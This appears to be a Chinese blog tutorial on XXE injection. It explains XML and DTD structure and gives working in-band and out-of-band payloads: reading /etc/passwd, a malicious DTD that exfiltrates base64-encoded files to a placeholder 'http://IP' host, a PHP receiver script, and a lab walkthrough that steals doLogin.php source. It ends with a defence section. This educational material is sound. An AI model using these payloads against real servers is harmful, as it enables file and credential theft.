一.XXE漏洞是什么
1.XXE 就是:
黑客让服务器去 “读本地文件”,服务器傻乎乎地照做了,把密码、配置、源码全泄露出来
XML 外部实体注入 = 让服务器帮你读本地文件。
2.XXE 干了啥?
- 黑客发一段 特殊的 XML 代码
- 服务器解析 XML 时没做安全检查
- 黑客就能让服务器:
- 读服务器上的文件(/etc/passwd、配置文件、密钥)
- 扫描内网端口
- 甚至发起内网攻击
3.XXE 怎么组成
XML代码是XXE漏洞的重要载体,黑客依靠这段代码来攻击服务器,解析数据
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
1. XML 声明(文档的 “身份卡”)
<?xml version="1.0" encoding="UTF-8"?>
2.DTD文档类型定义(可选)
<!DOCTYPE book [
<!ELEMENT book (title, author, price)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
<!ELEMENT price (#PCDATA)>
]>
<!DOCTYPE hack [
<!-- 外部实体:SYSTEM + 文件路径 -->
<!ENTITY steal_file SYSTEM "file:///etc/passwd">
]>
<!-- 调用这个实体,让解析器返回文件内容 -->
3.文档元素(正文)
<book>
<title>云计算小白教程</title>
<author>小明</author>
<price>29.9</price>
</book>
<book>
<title>云计算小白教程</title>
<author>小明</author>
<price>29.9</price>
</book>
二.漏洞类型
1.有回显 XXE
<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C://Users//zzz//Desktop//1.txt">
]>
<foo>&xxe;</foo>
这是一点段xml攻击代码,旨在查看桌面下的1.txt文件

在靶场下输入xml代码,系统直接会将文件内容显示
2.⽆回显XXE
服务器不直接返回偷到的数据 → 我们让服务器把数据通过网络请求发送到自己的服务器 → 从自己服务器的日志里拿数据或者生成一个文件里面携带这数据
1.准备自己的 “接收服务器”
可以在用虚拟机或者是本机都可以,作用主要是接收数据。查看服务器IP
2.编写恶意 DTD 文件(存放于自己的接收服务器)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//desktop//Desktop//1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://IP/get.php?file=%file;'>">
%all;
%send;
这段DTD的主要目的是读取C://Users//desktop//Desktop//1.txt 文件并且加密成Base64 编码,然后发送给服务器IP
为什么用 Base64 编码?如果你偷的1.txt里有换行、空格、特殊符号(如&、<),直接传输会打断 URL,导致数据丢失;Base64 把所有内容转成字母 / 数字,传输更稳定。
3.新建⼀个⽤于接受的php
<?php
$data = $_GET['file'];
$myfile = fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>
接收 URL 中file参数的内容,写入当前目录的file.txt文件
4.构造恶意 XML 代码(发给目标服务器)
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.220.135/vil.dtd">
%dtd;
]>
IP是目标服务器的
5.查看file.txt的内容,解密base64


注意 dtd 文件和 php 文件都要放在www目录下
三.实战演例

破解这个网站的用户名和密码,用XXE漏洞方式

抓个包,观察一下存在xxe漏洞,
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user>
<username>&file;</username>
<password>12313</password>
</user>
拼接xml语句
&file;:调用上面定义的 file 实体 —— 靶机解析 XML 时,会把 &file; 替换成 doLogin.php 的 Base64 编码内容;
php://filter:PHP 的内置伪协议,专门用来过滤 / 处理文件内容
read=convert.base64-encode:对读取的 doLogin.php 内容做Base64 编码
&file; 不是只能放 <username> 里,放在 <password> 里也完全可以
dologin.php :这是我们猜的,具体就这几个:index.php;admin.php;login.php;dologin.php
多次尝试,谁不报错就用谁
发包,看响应

base64解码

得到网页源代码,查找得到

四,XXE防御
XXE 防御核心原则(一句话记住)
禁用 XML 解析器的外部实体解析功能—— 这是所有防御方法的根本,因为 XXE 漏洞的本质就是解析器允许加载外部实体(SYSTEM 引用)
<?php
// 关键:禁用外部实体(PHP 5.4+ 支持,必须放在解析XML之前)
libxml_disable_entity_loader(true);
// 正常解析XML(此时外部实体不会被加载,XXE攻击失效)
$xml = simplexml_load_string($evil_xml);
?>

1802

被折叠的 条评论
为什么被折叠?



